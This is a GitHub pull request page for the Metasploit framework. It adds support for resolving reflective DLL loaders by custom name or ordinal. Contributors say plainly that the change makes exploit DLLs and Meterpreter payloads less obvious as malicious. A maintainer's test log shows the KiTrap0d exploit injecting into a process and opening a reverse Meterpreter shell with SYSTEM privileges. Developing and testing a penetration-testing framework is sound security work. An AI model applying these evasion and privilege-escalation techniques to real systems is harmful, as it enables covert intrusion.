Skip to content

Add support for custom name/ordinal for RDI #13476

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 5 commits into from
Jun 24, 2020

Conversation

OJ
Copy link
Contributor

@OJ OJ commented May 18, 2020

Please land the Command ID PR before this one.

Most of the details of the changes for this PR can be found in the Meterpreter PR so please take a look over there. That PR needs to lands before this.

The changes worthy of note here are that RDI now allows for a custom loader function name, or for an ordinal to be specified. It currently defaults to ReflectiveLoader because everything out there currently uses that. Over time, people can compile their own exploit DLLs with a loader that doesn't have a name (like we're now doing for Meterp) making it less obvious that it's a malicious asset.

Verification

Do the things in the other PR first. Then:

  • Spin up a session and use a few exploits that have RDI DLLs (eg. KiTrap0d and bypassuac_injection) and make sure they still work.

@OJ
Copy link
Contributor Author

OJ commented Jun 1, 2020

This stuff seems to come with changes in MSF master that haven't been pulled into 6.x yet. Sorry about that.

@OJ OJ force-pushed the support-rdi-via-ordinal branch from 5b0082b to 037fed5 Compare June 4, 2020 02:15
@bwatters-r7 bwatters-r7 added the msf6 PRs that need to be landed into the msf 6 branch label Jun 8, 2020
@rapid7 rapid7 deleted a comment Jun 15, 2020
@smcintyre-r7 smcintyre-r7 self-assigned this Jun 23, 2020
@smcintyre-r7
Copy link
Contributor

Now that the payloads side is landed and the payloads gem has been bumped to v2.0.6, would you be able to update the gem file and rebase this? When I looked at merging it, there were quite a few conflicts. Thank you!

OJ added 4 commits June 24, 2020 08:01
This first bit of code aims to add a "map" to the packet functionality
that is able to translate to and from "method strings" to "command ids".
IDs are sent across the wire, and they're now integers. This removes the
need for the strings to be present in things like native meterp, and
hence makes things a little less obvious on the wire, and way less
obvious on disk/in the payload.

Given that we need this functionality in other Meterpreters to support
the removal of strings, some code has been added that can generate
source files for Python, C# and C. This code might move, but for now
it's at least in a spot where it's used the most.
Typo in comments & incorrect symbol in regex.
@OJ OJ force-pushed the support-rdi-via-ordinal branch from 037fed5 to 53b010a Compare June 23, 2020 22:18
@OJ OJ requested a review from smcintyre-r7 June 23, 2020 22:27
@OJ OJ dismissed smcintyre-r7’s stale review June 23, 2020 22:27

Sorted now :)

@smcintyre-r7
Copy link
Contributor

Alright for my testing I used the same procedure I mentioned on the payloads PR. In addition to that I tried a custom reflective DLL with the post/windows/manage/reflective_dll_inject module. I also tested KiTrap0d on an XP system.

  • I fixed the export regex in commit 32fee4f, it still wasn't quite using the Ruby string interpolation syntax of #{ } and appeared to just be a typo
  • I updated the payload cached sizes in commit 83bdb92

With that, I'm ready to land this. The Travis-CI build failures are due to the payload cached sizes being changed which is expected.

KiTrap0d Test
msf5 exploit(windows/local/ms10_015_kitrap0d) > show options 

Module options (exploit/windows/local/ms10_015_kitrap0d):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  -1               yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)


msf5 exploit(windows/local/ms10_015_kitrap0d) > exploit

[*] Started reverse TCP handler on 192.168.250.87:4444 
[*] Launching notepad to host the exploit...
[+] Process 600 launched.
[*] Reflectively injecting the exploit DLL into 600...
[*] Injecting exploit into 600 ...
[*] Exploit injected. Injecting payload into 600...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 192.168.250.237
[*] Meterpreter session 3 opened (192.168.250.87:4444 -> 192.168.250.237:51048) at 2020-06-24 09:33:04 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

@smcintyre-r7 smcintyre-r7 merged commit e725fb5 into rapid7:6.x Jun 24, 2020
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Jun 24, 2020

Release Notes

Updated the Reflective DLL injection capabilities used by Metasploit for payloads and exploits to resolve functions by either ordinal or name. This allows the framework to take advantage of recent payload updates that remove string names and instead resolve the necessary values by ordinal. The framework change are backwards compatible with Reflective DLLs that use the standard ReflectiveLoader name.

@OJ
Copy link
Contributor Author

OJ commented Jun 24, 2020 via email

@pbarry-r7 pbarry-r7 added the rn-enhancement release notes enhancement label Aug 18, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement library meterpreter msf6 PRs that need to be landed into the msf 6 branch rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants